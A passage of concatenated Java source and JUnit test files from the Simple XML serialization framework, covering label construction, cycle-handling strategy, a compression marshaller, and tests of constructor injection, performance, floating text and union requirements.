* well as whether it is required. Once created the converter can
* transform an XML node into Java object and vice versa.
*
* @param contact this is contact that the label is produced for
* @param label represents the XML annotation for the contact
*
* @return returns the list of labels associated with the contact
*/
private LabelGroup getUnion(Contact contact, Annotation label) throws Exception {
Annotation[] list = getAnnotations(label);
if(list.length > 0) {
List<Label> labels = new LinkedList<Label>();
for(Annotation value : list) {
Label entry = getLabel(contact, label, value);
if(entry != null) {
entry = new CacheLabel(entry);
}
labels.add(entry);
}
return new LabelGroup(labels);
}
return null;
}
/**
* This is used to extract the individual annotations associated
* with the union annotation provided. If the annotation does
* not represent a union then this will return null.
*
* @param label this is the annotation to extract from
*
* @return this returns an array of annotations from the union
*/
private Annotation[] getAnnotations(Annotation label) throws Exception {
Class union = label.annotationType();
Method[] list = union.getDeclaredMethods();
if(list.length > 0) {
Method method = list[0];
Object value = method.invoke(label);
return (Annotation[])value;
}
return new Annotation[0];
}
/**
* Creates a <code>Label</code> using the provided contact and XML
* annotation. The label produced contains all information related
* to an object member. It knows the name of the XML entity, as
* well as whether it is required. Once created the converter can
* transform an XML node into Java object and vice versa.
*
* @param contact this is contact that the label is produced for
* @param label represents the XML annotation for the contact
* @param entry this is the annotation used for the entries
*
* @return returns the label instantiated for the field
*/
private Label getLabel(Contact contact, Annotation label, Annotation entry) throws Exception {
Constructor factory = getConstructor(label);
if(entry != null) {
return (Label)factory.newInstance(contact, label, entry, format);
}
return (Label)factory.newInstance(contact, label, format);
}
/**
* This is used to create a key to uniquely identify a label that
* is associated with a contact. A key contains the contact type,
* the declaring class, the name, and the annotation type. This will
* uniquely identify the label within the class.
*
* @param contact this is contact that the label is produced for
* @param label represents the XML annotation for the contact
*
* @return this returns the key associated with the label
*/
private Object getKey(Contact contact, Annotation label) {
return new LabelKey(contact, label);
}
/**
* Creates a constructor that can be used to instantiate the label
* used to represent the specified annotation. The constructor
* created by this method takes two arguments, a contact object
* and an <code>Annotation</code> of the type specified.
*
* @param label the XML annotation representing the label
*
* @return returns a constructor for instantiating the label
*/
private Constructor getConstructor(Annotation label) throws Exception {
LabelBuilder builder = getBuilder(label);
Constructor factory = builder.getConstructor();
if(!factory.isAccessible()) {
factory.setAccessible(true);
}
return factory;
}
/**
* Creates an entry that is used to select the constructor for the
* label. Each label must implement a constructor that takes a
* contact and the specific XML annotation for that field. If the
* annotation is not know this method throws an exception.
*
* @param label the XML annotation used to create the label
*
* @return this returns the entry used to create a constructor
*/
private LabelBuilder getBuilder(Annotation label) throws Exception{
if(label instanceof Element) {
return new LabelBuilder(ElementLabel.class, Element.class);
}
if(label instanceof ElementList) {
return new LabelBuilder(ElementListLabel.class, ElementList.class);
}
if(label instanceof ElementArray) {
return new LabelBuilder(ElementArrayLabel.class, ElementArray.class);
}
if(label instanceof ElementMap) {
return new LabelBuilder(ElementMapLabel.class, ElementMap.class);
}
if(label instanceof ElementUnion) {
return new LabelBuilder(ElementUnionLabel.class, ElementUnion.class, Element.class);
}
if(label instanceof ElementListUnion) {
return new LabelBuilder(ElementListUnionLabel.class, ElementListUnion.class, ElementList.class);
}
if(label instanceof ElementMapUnion) {
return new LabelBuilder(ElementMapUnionLabel.class, ElementMapUnion.class, ElementMap.class);
}
if(label instanceof Attribute) {
return new LabelBuilder(AttributeLabel.class, Attribute.class);
}
if(label instanceof Version) {
return new LabelBuilder(VersionLabel.class, Version.class);
}
if(label instanceof Text) {
return new LabelBuilder(TextLabel.class, Text.class);
}
throw new PersistenceException("Annotation %s not supported", label);
}
/**
* The <code>LabelBuilder<code> object will create a constructor
* that can be used to instantiate the correct label for the XML
* annotation specified. The constructor requires two arguments
* a <code>Contact</code> and the specified XML annotation.
*
* @see java.lang.reflect.Constructor
*/
private static class LabelBuilder {
/**
* This is the XML annotation type within the constructor.
*/
private final Class label;
/**
* This is the individual entry annotation used for the label.
*/
private final Class entry;
/**
* This is the label type that is to be instantiated.
*/
private final Class type;
/**
* Constructor for the <code>LabelBuilder</code> object. This
* pairs the label type with the XML annotation argument used
* within the constructor. This create the constructor.
*
* @param type this is the label type to be instantiated
* @param label type that is used within the constructor
*/
public LabelBuilder(Class type, Class label) {
this(type, label, null);
}
/**
* Constructor for the <code>LabelBuilder</code> object. This
* pairs the label type with the XML annotation argument used
* within the constructor. This will create the constructor.
*
* @param type this is the label type to be instantiated
* @param label type that is used within the constructor
* @param entry entry that is used within the constructor
*/
public LabelBuilder(Class type, Class label, Class entry) {
this.entry = entry;
this.label = label;
this.type = type;
}
/**
* Creates the constructor used to instantiate the label for
* the XML annotation. The constructor returned will take two
* arguments, a contact and the XML annotation type.
*
* @return returns the constructor for the label object
*/
public Constructor getConstructor() throws Exception {
if(entry != null) {
return getConstructor(label, entry);
}
return getConstructor(label);
}
/**
* Creates the constructor used to instantiate the label for
* the XML annotation. The constructor returned will take two
* arguments, a contact and the XML annotation type.
*
* @return returns the constructor for the label object
*/
private Constructor getConstructor(Class label) throws Exception {
return type.getConstructor(Contact.class, label, Format.class);
}
/**
* Creates the constructor used to instantiate the label for
* the XML annotation. The constructor returned will take two
* arguments, a contact and the XML annotation type.
*
* @param label this is the XML annotation argument type used
* @param entry this is the entry type to use for the label
*
* @return returns the constructor for the label object
*/
private Constructor getConstructor(Class label, Class entry) throws Exception {
return type.getConstructor(Contact.class, label, entry, Format.class);
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ConstructorInjectionDifferentAnnotationTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.util.ArrayList;
import java.util.List;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
public class ConstructorInjectionDifferentAnnotationTest extends ValidationTestCase {
@Root
private static class Example {
@Element(name="k", data=true)
private final String key;
@Element(name="v", data=true, required=false)
private final String value;
public Example(@Element(name="k") String key, @Element(name="v") String value) {
this.key = key;
this.value = value;
}
public String getKey(){
return key;
}
public String getValue(){
return value;
}
}
@Root
private static class ExampleList {
@ElementList(entry="e", data=true, inline=true)
private final List<String> list;
@Attribute(name="a", required=false)
private final String name;
public ExampleList(@ElementList(name="e") List<String> list, @Attribute(name="a") String name) {
this.name = name;
this.list = list;
}
public List<String> getList(){
return list;
}
public String getName(){
return name;
}
}
@Root
private static class InvalidExample {
@Element(name="n", data=true, required=true)
private final String name;
@Attribute(name="v", required=false)
private final String value;
public InvalidExample(@Element(name="n") String name, @Element(name="v") String value) {
this.name = name;
this.value = value;;
}
public String getValue(){
return value;
}
public String getName(){
return name;
}
}
public void testDifferentAnnotations() throws Exception{
Persister persister = new Persister();
Example example = new Example("a", "b");
StringWriter writer = new StringWriter();
persister.write(example, writer);
String text = writer.toString();
Example deserialized = persister.read(Example.class, text);
assertEquals(deserialized.getKey(), "a");
assertEquals(deserialized.getValue(), "b");
validate(persister, deserialized);
}
public void testDifferentListAnnotations() throws Exception{
Persister persister = new Persister();
List<String> list = new ArrayList<String>();
ExampleList example = new ExampleList(list, "a");
list.add("1");
list.add("2");
list.add("3");
list.add("4");
StringWriter writer = new StringWriter();
persister.write(example, writer);
String text = writer.toString();
ExampleList deserialized = persister.read(ExampleList.class, text);
assertEquals(deserialized.getList().size(), 4);
assertTrue(deserialized.getList().contains("1"));
assertTrue(deserialized.getList().contains("2"));
assertTrue(deserialized.getList().contains("3"));
assertTrue(deserialized.getList().contains("4"));
assertEquals(deserialized.getName(), "a");
validate(persister, deserialized);
}
public void testInvalidExample() throws Exception{
Persister persister = new Persister();
InvalidExample example = new InvalidExample("a", "b");
StringWriter writer = new StringWriter();
boolean exception = false;
try {
persister.write(example, writer);
}catch(ConstructorException e) {
e.printStackTrace();
exception = true;
}
assertTrue("Non matching annotations should throw a constructor exception", exception);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/PerformanceTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.io.StringWriter;
import java.util.Collection;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.filter.Filter;
import org.simpleframework.xml.strategy.Type;
import org.simpleframework.xml.strategy.Visitor;
import org.simpleframework.xml.strategy.VisitorStrategy;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.NodeMap;
import org.simpleframework.xml.stream.OutputNode;
//import com.thoughtworks.xstream.XStream;
// This test will not work with XPP3 because its fucked!! KXML is ok!
public class PerformanceTest extends ValidationTestCase {
public static final int ITERATIONS = 10000;
public static final int MAXIMUM = 1000;
public static final String BASIC_ENTRY =
"<?xml version=\"1.0\"?>\n"+
"<root number='1234' flag='true'>\n"+
" <name>{example.name}</name> \n\r"+
" <path>{example.path}</path>\n"+
" <constant>{no.override}</constant>\n"+
" <text>\n"+
" Some example text where {example.name} is replaced\n"+
" with the system property value and the path is\n"+
" replaced with the path {example.path}\n"+
" </text>\n"+
" <child name='first'>\n"+
" <one>this is the first element</one>\n"+
" <two>the second element</two>\n"+
" <three>the third elment</three>\n"+
" <grand-child>\n"+
" <entry-one key='name.1'>\n"+
" <value>value.1</value>\n"+
" </entry-one>\n"+
" <entry-two key='name.2'>\n"+
" <value>value.2</value>\n"+
" </entry-two>\n"+
" </grand-child>\n"+
" </child>\n"+
" <list class='java.util.ArrayList'>\n"+
" <entry key='name.1'>\n"+
" <value>value.1</value>\n"+
" </entry>\n"+
" <entry key='name.2'>\n"+
" <value>value.2</value>\n"+
" </entry>\n"+
" <entry key='name.3'>\n"+
" <value>value.4</value>\n"+
" </entry>\n"+
" <entry key='name.4'>\n"+
" <value>value.4</value>\n"+
" </entry>\n"+
" <entry key='name.5'>\n"+
" <value>value.5</value>\n"+
" </entry>\n"+
" </list>\n"+
"</root>";
public static final String TEMPLATE_ENTRY =
"<?xml version=\"1.0\"?>\n"+
"<root number='1234' flag='true'>\n"+
" <name>${example.name}</name> \n\r"+
" <path>${example.path}</path>\n"+
" <constant>${no.override}</constant>\n"+
" <text>\n"+
" Some example text where ${example.name} is replaced\n"+
" with the system property value and the path is \n"+
" replaced with the path ${example.path}\n"+
" </text>\n"+
" <child name='first'>\n"+
" <one>this is the first element</one>\n"+
" <two>the second element</two>\n"+
" <three>the third elment</three>\n"+
" <grand-child>\n"+
" <entry-one key='name.1'>\n"+
" <value>value.1</value>\n"+
" </entry-one>\n"+
" <entry-two key='name.2'>\n"+
" <value>value.2</value>\n"+
" </entry-two>\n"+
" </grand-child>\n"+
" </child>\n"+
" <list class='java.util.ArrayList'>\n"+
" <entry key='name.1'>\n"+
" <value>value.1</value>\n"+
" </entry>\n"+
" <entry key='name.2'>\n"+
" <value>value.2</value>\n"+
" </entry>\n"+
" <entry key='name.3'>\n"+
" <value>value.4</value>\n"+
" </entry>\n"+
" <entry key='name.4'>\n"+
" <value>value.4</value>\n"+
" </entry>\n"+
" <entry key='name.5'>\n"+
" <value>value.5</value>\n"+
" </entry>\n"+
" </list>\n"+
"</root>";
@Root(name="root")
public static class RootEntry implements Serializable {
@Attribute(name="number")
private int number;
@Attribute(name="flag")
private boolean bool;
@Element(name="constant")
private String constant;
@Element(name="name")
private String name;
@Element(name="path")
private String path;
@Element(name="text")
private String text;
@Element(name="child")
private ChildEntry entry;
@ElementList(name="list", type=ElementEntry.class)
private Collection list;
}
@Root(name="child")
public static class ChildEntry implements Serializable {
@Attribute(name="name")
private String name;
@Element(name="one")
private String one;
@Element(name="two")
private String two;
@Element(name="three")
private String three;
@Element(name="grand-child")
private GrandChildEntry grandChild;
}
@Root(name="grand-child")
public static class GrandChildEntry implements Serializable {
@Element(name="entry-one")
private ElementEntry entryOne;
@Element(name="entry-two")
private ElementEntry entryTwo;
}
@Root(name="entry")
public static class ElementEntry implements Serializable {
@Attribute(name="key")
private String name;
@Element(name="value")
private String value;
}
private static class EmptyFilter implements Filter {
public String replace(String name) {
return null;
}
}
static {
System.setProperty("example.name", "some name");
System.setProperty("example.path", "/some/path");
System.setProperty("no.override", "some constant");
}
private Persister systemSerializer;
public void setUp() throws Exception {
systemSerializer = new Persister();
}
public void testCompareToOtherSerializers() throws Exception {
Serializer simpleSerializer = new Persister(new VisitorStrategy(new Visitor(){
public void read(Type type, NodeMap<InputNode> node) throws Exception {
if(node.getNode().isRoot()) {
System.err.println(node.getNode().getSource().getClass());
}
}
public void write(Type type, NodeMap<OutputNode> node){}
}));
RootEntry entry = simpleSerializer.read(RootEntry.class, BASIC_ENTRY);
ByteArrayOutputStream simpleBuffer = new ByteArrayOutputStream();
ByteArrayOutputStream javaBuffer = new ByteArrayOutputStream();
//ByteArrayOutputStream xstreamBuffer = new ByteArrayOutputStream();
ObjectOutputStream javaSerializer = new ObjectOutputStream(javaBuffer);
//XStream xstreamSerializer = new XStream();
simpleSerializer.write(entry, simpleBuffer);
//xstreamSerializer.toXML(entry, xstreamBuffer);
javaSerializer.writeObject(entry);
byte[] simpleByteArray = simpleBuffer.toByteArray();
//byte[] xstreamByteArray = xstreamBuffer.toByteArray();
byte[] javaByteArray = javaBuffer.toByteArray();
System.err.println("SIMPLE TOOK "+timeToSerializeWithSimple(RootEntry.class, simpleByteArray, ITERATIONS)+"ms");
System.err.println("JAVA TOOK "+timeToSerializeWithJava(RootEntry.class, javaByteArray, ITERATIONS)+"ms");
//System.err.println("XSTREAM TOOK "+timeToSerializeWithXStream(RootEntry.class, xstreamByteArray, ITERATIONS)+"ms");
//System.err.println("XSTREAM --->>"+xstreamBuffer.toString());
System.err.println("SIMPLE --->>"+simpleBuffer.toString());
}
private long timeToSerializeWithSimple(Class type, byte[] buffer, int count) throws Exception {
Persister persister = new Persister();
persister.read(RootEntry.class, new ByteArrayInputStream(buffer));
long now = System.currentTimeMillis();
for(int i = 0; i < count; i++) {
persister.read(RootEntry.class, new ByteArrayInputStream(buffer));
}
return System.currentTimeMillis() - now;
}
private long timeToSerializeWithJava(Class type, byte[] buffer, int count) throws Exception {
ObjectInputStream stream = new ObjectInputStream(new ByteArrayInputStream(buffer));
stream.readObject();
long now = System.currentTimeMillis();
for(int i = 0; i < count; i++) {
new ObjectInputStream(new ByteArrayInputStream(buffer)).readObject();
}
return System.currentTimeMillis() - now;
}
/*
private long timeToSerializeWithXStream(Class type, byte[] buffer, int count) throws Exception {
XStream stream = new XStream();
stream.fromXML(new ByteArrayInputStream(buffer));
long now = System.currentTimeMillis();
for(int i = 0; i < count; i++) {
stream.fromXML(new ByteArrayInputStream(buffer));
}
return System.currentTimeMillis() - now;
}*/
public void testBasicDocument() throws Exception {
RootEntry entry = (RootEntry)systemSerializer.read(RootEntry.class, BASIC_ENTRY);
long start = System.currentTimeMillis();
for(int i = 0; i < ITERATIONS; i++) {
systemSerializer.read(RootEntry.class, BASIC_ENTRY);
}
long duration = System.currentTimeMillis() - start;
System.err.printf("Took '%s' ms to process %s documents\n", duration, ITERATIONS);
systemSerializer.write(entry, System.out);
StringWriter out = new StringWriter();
systemSerializer.write(entry, out);
validate(entry, systemSerializer);
entry = (RootEntry)systemSerializer.read(RootEntry.class, out.toString());
systemSerializer.write(entry, System.out);
}
public void testTemplateDocument() throws Exception {
RootEntry entry = (RootEntry)systemSerializer.read(RootEntry.class, TEMPLATE_ENTRY);
long start = System.currentTimeMillis();
for(int i = 0; i < ITERATIONS; i++) {
systemSerializer.read(RootEntry.class, TEMPLATE_ENTRY);
}
long duration = System.currentTimeMillis() - start;
System.err.printf("Took '%s' ms to process %s documents with templates\n", duration, ITERATIONS);
systemSerializer.write(entry, System.out);
StringWriter out = new StringWriter();
systemSerializer.write(entry, out);
validate(entry, systemSerializer);
entry = (RootEntry)systemSerializer.read(RootEntry.class, out.toString());
systemSerializer.write(entry, System.out);
}
public void testEmptyFilter() throws Exception {
systemSerializer = new Persister(new EmptyFilter());
RootEntry entry = (RootEntry)systemSerializer.read(RootEntry.class, TEMPLATE_ENTRY);
long start = System.currentTimeMillis();
for(int i = 0; i < ITERATIONS; i++) {
systemSerializer.read(RootEntry.class, TEMPLATE_ENTRY);
}
long duration = System.currentTimeMillis() - start;
System.err.printf("Took '%s' ms to process %s documents with an empty filter\n", duration, ITERATIONS);
systemSerializer.write(entry, System.out);
StringWriter out = new StringWriter();
systemSerializer.write(entry, out);
validate(entry, systemSerializer);
entry = (RootEntry)systemSerializer.read(RootEntry.class, out.toString());
systemSerializer.write(entry, System.out);
}
public void testBasicWrite() throws Exception {
RootEntry entry = (RootEntry)systemSerializer.read(RootEntry.class, BASIC_ENTRY);
long start = System.currentTimeMillis();
entry.constant = ">><<"; // this should be escaped
entry.text = "this is text>> some more<<"; // this should be escaped
for(int i = 0; i < ITERATIONS; i++) {
systemSerializer.write(entry, new StringWriter());
}
long duration = System.currentTimeMillis() - start;
System.err.printf("Took '%s' ms to write %s documents\n", duration, ITERATIONS);
systemSerializer.write(entry, System.out);
StringWriter out = new StringWriter();
systemSerializer.write(entry, out);
validate(entry, systemSerializer);
entry = (RootEntry)systemSerializer.read(RootEntry.class, out.toString());
systemSerializer.write(entry, System.out);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/strategy/CycleStrategy.java<|end_filename|>
/*
* CycleStrategy.java April 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.strategy;
import static org.simpleframework.xml.strategy.Name.LABEL;
import static org.simpleframework.xml.strategy.Name.LENGTH;
import static org.simpleframework.xml.strategy.Name.MARK;
import static org.simpleframework.xml.strategy.Name.REFER;
import java.util.Map;
import org.simpleframework.xml.stream.NodeMap;
/**
* The <code>CycleStrategy</code> represents a strategy that is used
* to augment the deserialization and serialization process such that
* cycles in an object graph can be supported. This adds additional
* attributes to the serialized XML elements so that during the
* deserialization process an objects cycles can be created. Without
* the use of a strategy such as this, cycles could cause an infinite
* loop during the serialization process while traversing the graph.
* <pre>
*
* <root id="1">
* <object id="2">
* <object id="3" name="name">Example</item>
* <object reference="2"/>
* </object>
* </root>
*
* </pre>
* In the above serialized XML there is a circular reference, where
* the XML element with id "2" contains a reference to itself. In
* most data binding frameworks this will cause an infinite loop,
* or in some cases will just fail to represent the references well.
* With this strategy you can ensure that cycles in complex object
* graphs will be maintained and can be serialized safely.
*
* @author <NAME>
*
* @see org.simpleframework.xml.core.Persister
* @see org.simpleframework.xml.strategy.Strategy
*/
public class CycleStrategy implements Strategy {
/**
* This is used to maintain session state for writing the graph.
*/
private final WriteState write;
/**
* This is used to maintain session state for reading the graph.
*/
private final ReadState read;
/**
* This is used to provide the names of the attributes to use.
*/
private final Contract contract;
/**
* Constructor for the <code>CycleStrategy</code> object. This is
* used to create a strategy with default values. By default the
* values used are "id" and "reference". These values will be
* added to XML elements during the serialization process. And
* will be used to deserialize the object cycles fully.
*/
public CycleStrategy() {
this(MARK, REFER);
}
/**
* Constructor for the <code>CycleStrategy</code> object. This is
* used to create a strategy with the specified attributes, which
* will be added to serialized XML elements. These attributes
* are used to serialize the objects in such a way the cycles in
* the object graph can be deserialized and used fully.
*
* @param mark this is used to mark the identity of an object
* @param refer this is used to refer to an existing object
*/
public CycleStrategy(String mark, String refer) {
this(mark, refer, LABEL);
}
/**
* Constructor for the <code>CycleStrategy</code> object. This is
* used to create a strategy with the specified attributes, which
* will be added to serialized XML elements. These attributes
* are used to serialize the objects in such a way the cycles in
* the object graph can be deserialized and used fully.
*
* @param mark this is used to mark the identity of an object
* @param refer this is used to refer to an existing object
* @param label this is used to specify the class for the field
*/
public CycleStrategy(String mark, String refer, String label){
this(mark, refer, label, LENGTH);
}
/**
* Constructor for the <code>CycleStrategy</code> object. This is
* used to create a strategy with the specified attributes, which
* will be added to serialized XML elements. These attributes
* are used to serialize the objects in such a way the cycles in
* the object graph can be deserialized and used fully.
*
* @param mark this is used to mark the identity of an object
* @param refer this is used to refer to an existing object
* @param label this is used to specify the class for the field
* @param length this is the length attribute used for arrays
*/
public CycleStrategy(String mark, String refer, String label, String length){
this.contract = new Contract(mark, refer, label, length);
this.write = new WriteState(contract);
this.read = new ReadState(contract);
}
/**
* This method is used to read an object from the specified node.
* In order to get the root type the field and node map are
* specified. The field represents the annotated method or field
* within the deserialized object. The node map is used to get
* the attributes used to describe the objects identity, or in
* the case of an existing object it contains an object reference.
*
* @param type the method or field in the deserialized object
* @param node this is the XML element attributes to read
* @param map this is the session map used for deserialization
*
* @return this returns an instance to insert into the object
*/
public Value read(Type type, NodeMap node, Map map) throws Exception {
ReadGraph graph = read.find(map);
if(graph != null) {
return graph.read(type, node);
}
return null;
}
/**
* This is used to write the reference in to the XML element that
* is to be written. This will either insert an object identity if
* the object has not previously been written, or, if the object
* has already been written in a previous element, this will write
* the reference to that object. This allows all cycles within the
* graph to be serialized so that they can be fully deserialized.
*
* @param type the type of the field or method in the object
* @param value this is the actual object that is to be written
* @param node this is the XML element attribute map to use
* @param map this is the session map used for the serialization
*
* @return returns true if the object has been fully serialized
*/
public boolean write(Type type, Object value, NodeMap node, Map map){
WriteGraph graph = write.find(map);
if(graph != null) {
return graph.write(type, value, node);
}
return false;
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/CompressionMarshaller.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.InputStream;
import java.io.ObjectInput;
import java.io.ObjectInputStream;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
public class CompressionMarshaller implements Marshaller {
private final Compression compression;
private final int buffer;
public CompressionMarshaller() {
this(Compression.NONE);
}
public CompressionMarshaller(Compression compression) {
this(compression, 2048);
}
public CompressionMarshaller(Compression compression, int buffer) {
this.compression = compression;
this.buffer = buffer;
}
public String marshallText(Object value, Class type) throws Exception {
OutputStream encoder = new Base64OutputStream(buffer);
OutputStream compressor = new CompressionOutputStream(encoder, compression);
ObjectOutput serializer = new ObjectOutputStream(compressor);
serializer.writeObject(value);
serializer.close();
return encoder.toString();
}
public Object unmarshallText(String value, Class type) throws Exception {
InputStream decoder = new Base64InputStream(value);
InputStream decompressor = new CompressionInputStream(decoder);
ObjectInput deserializer = new ObjectInputStream(decompressor);
return deserializer.readObject();
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/FloatingTextTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.List;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.ElementListUnion;
import org.simpleframework.xml.Path;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.ValidationTestCase;
public class FloatingTextTest extends ValidationTestCase {
private static final String SOURCE =
"<test>An int follows <int>12</int> A double follows <double>33.3</double></test>\n";
private static final String SOURCE_WITH_ATTRIBUTES =
"<test a='A' b='b'>An int follows <int>12</int> A double follows <double>33.3</double></test>\n";
private static final String SOURCE_WITH_CHILD =
"<test><child>An int follows <int>12</int> A double follows <double>33.3</double></child></test>\n";
@Root
private static class Example {
@Text
@ElementListUnion({
@ElementList(entry="int", type=Integer.class, required=false, inline=true),
@ElementList(entry="double", type=Double.class, required=false, inline=true)
})
private List<Object> list;
}
@Root
private static class ExampleWithElementsIsAnError {
@Element(required=false)
private String value;
@Text
@ElementListUnion({
@ElementList(entry="int", type=Integer.class, required=false, inline=true),
@ElementList(entry="double", type=Double.class, required=false, inline=true)
})
private List<Object> list;
}
@Root
private static class ExampleWithTextIsAnError {
@Text(required=false)
private String value;
@Text
@ElementListUnion({
@ElementList(entry="int", type=Integer.class, required=false, inline=true),
@ElementList(entry="double", type=Double.class, required=false, inline=true)
})
private List<Object> list;
}
@Root
private static class ExampleWithAttributeNotAnError {
@Attribute
private String a;
@Attribute
private String b;
@Text
@ElementListUnion({
@ElementList(entry="int", type=Integer.class, required=false, inline=true),
@ElementList(entry="double", type=Double.class, required=false, inline=true)
})
private List<Object> list;
}
@Root
private static class ExampleWithPathAnError {
@Path("p")
@Attribute
private String a;
@Path("p")
@Attribute
private String b;
@Text
@ElementListUnion({
@ElementList(entry="int", type=Integer.class, required=false, inline=true),
@ElementList(entry="double", type=Double.class, required=false, inline=true)
})
private List<Object> list;
}
@Root
private static class ExampleWithStringElementInAnError {
@Attribute
private String a;
@Attribute
private String b;
@Text
@ElementListUnion({
@ElementList(entry="int", type=Integer.class, required=false, inline=true),
@ElementList(entry="double", type=Double.class, required=false, inline=true),
@ElementList(entry="string", type=String.class, required=false, inline=true)
})
private List<Object> list;
}
@Root
private static class ExampleWithPath {
@Path("child")
@Text
@ElementListUnion({
@ElementList(entry="int", type=Integer.class, required=false, inline=true),
@ElementList(entry="double", type=Double.class, required=false, inline=true)
})
private List<Object> list;
}
public void testFloatingText() throws Exception {
Persister persister = new Persister();
Example test = persister.read(Example.class, SOURCE);
assertNotNull(test.list);
assertEquals(test.list.get(0), "An int follows ");
assertEquals(test.list.get(1).getClass(), Integer.class);
assertEquals(test.list.get(1), 12);
assertEquals(test.list.get(2), " A double follows ");
assertEquals(test.list.get(3).getClass(), Double.class);
assertEquals(test.list.get(3), 33.3);
persister.write(test, System.out);
validate(persister, test);
}
public void testFloatingTextElementError() throws Exception {
Persister persister = new Persister();
boolean failure = false;
try {
persister.read(ExampleWithElementsIsAnError.class, SOURCE);
} catch(Exception e) {
e.printStackTrace();
failure = true;
}
assertTrue("Elements used with @Text and @ElementListUnion is illegal", failure);
}
public void testFloatingTextTextError() throws Exception {
Persister persister = new Persister();
boolean failure = false;
try {
persister.read(ExampleWithTextIsAnError.class, SOURCE);
} catch(Exception e) {
e.printStackTrace();
failure = true;
}
assertTrue("Text used with @Text and @ElementListUnion is illegal", failure);
}
public void testFloatingTextWithAttributes() throws Exception {
Persister persister = new Persister();
ExampleWithAttributeNotAnError test = persister.read(ExampleWithAttributeNotAnError.class, SOURCE_WITH_ATTRIBUTES);
assertNotNull(test.list);
assertNotNull(test.a, "A");
assertNotNull(test.b, "B");
assertEquals(test.list.get(0), "An int follows ");
assertEquals(test.list.get(1).getClass(), Integer.class);
assertEquals(test.list.get(1), 12);
assertEquals(test.list.get(2), " A double follows ");
assertEquals(test.list.get(3).getClass(), Double.class);
assertEquals(test.list.get(3), 33.3);
persister.write(test, System.out);
validate(persister, test);
}
public void testFloatingTextPathError() throws Exception {
Persister persister = new Persister();
boolean failure = false;
try {
persister.read(ExampleWithPathAnError.class, SOURCE);
} catch(Exception e) {
e.printStackTrace();
failure = true;
}
assertTrue("Path used with @Text and @ElementListUnion is illegal", failure);
}
public void testFloatingTextStringElementError() throws Exception {
Persister persister = new Persister();
boolean failure = false;
try {
persister.read(ExampleWithStringElementInAnError.class, SOURCE_WITH_ATTRIBUTES);
} catch(Exception e) {
e.printStackTrace();
failure = true;
}
assertTrue("String entries used with @Text and @ElementListUnion is illegal", failure);
}
public void testTextWithPath() throws Exception {
Persister persister = new Persister();
ExampleWithPath test = persister.read(ExampleWithPath.class, SOURCE_WITH_CHILD);
assertNotNull(test.list);
assertEquals(test.list.get(0), "An int follows ");
assertEquals(test.list.get(1).getClass(), Integer.class);
assertEquals(test.list.get(1), 12);
assertEquals(test.list.get(2), " A double follows ");
assertEquals(test.list.get(3).getClass(), Double.class);
assertEquals(test.list.get(3), 33.3);
persister.write(test, System.out);
validate(persister, test);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/UnionRequiredTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.Collections;
import java.util.List;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.ElementListUnion;
import org.simpleframework.xml.ElementUnion;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
public class UnionRequiredTest extends ValidationTestCase {
@Root
public static class Example {
@ElementUnion({
@Element(name="double", type=Double.class, required=false),
@Element(name="string", type=String.class, required=true),
@Element(name="int", type=Integer.class, required=true)
})
private Object value;
}
@Root
public static class ExampleList {
@ElementListUnion({
@ElementList(name="double", type=Double.class, required=false),
@ElementList(name="string", type=String.class, required=true),
@ElementList(name="int", type=Integer.class, required=true)
})
private List<Object> value;
}
public void testRequired() throws Exception {
Persister persister = new Persister();
Example example = new Example();
example.value = "test";
boolean failure = false;
try {
persister.write(example, System.out);
}catch(Exception e) {
e.printStackTrace();
failure = true;
}
assertTrue("Requirement did not match", failure);
}
public void testListRequired() throws Exception {
Persister persister = new Persister();
ExampleList example = new ExampleList();
example.value = Collections.singletonList((Object)"test");
boolean failure = false;
try {
persister.write(example, System.out);
}catch(Exception e) {
e.printStackTrace();
failure = true;
}
assertTrue("Requirement did not match", failure);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/AnonymousClassTest.java<|end_filename|>
package org.simpleframework.xml.core;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Namespace;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
public class AnonymousClassTest extends ValidationTestCase {
@Root(name="anonymous")
private static class Anonymous {
@Element
@Namespace(prefix="prefix", reference="http://www.domain.com/reference")
private static Object anonymous = new Object() {
@Attribute(name="attribute")
private static final String attribute = "example attribute";
@Element(name="element")
private static final String element = "example element";
};
}
/*
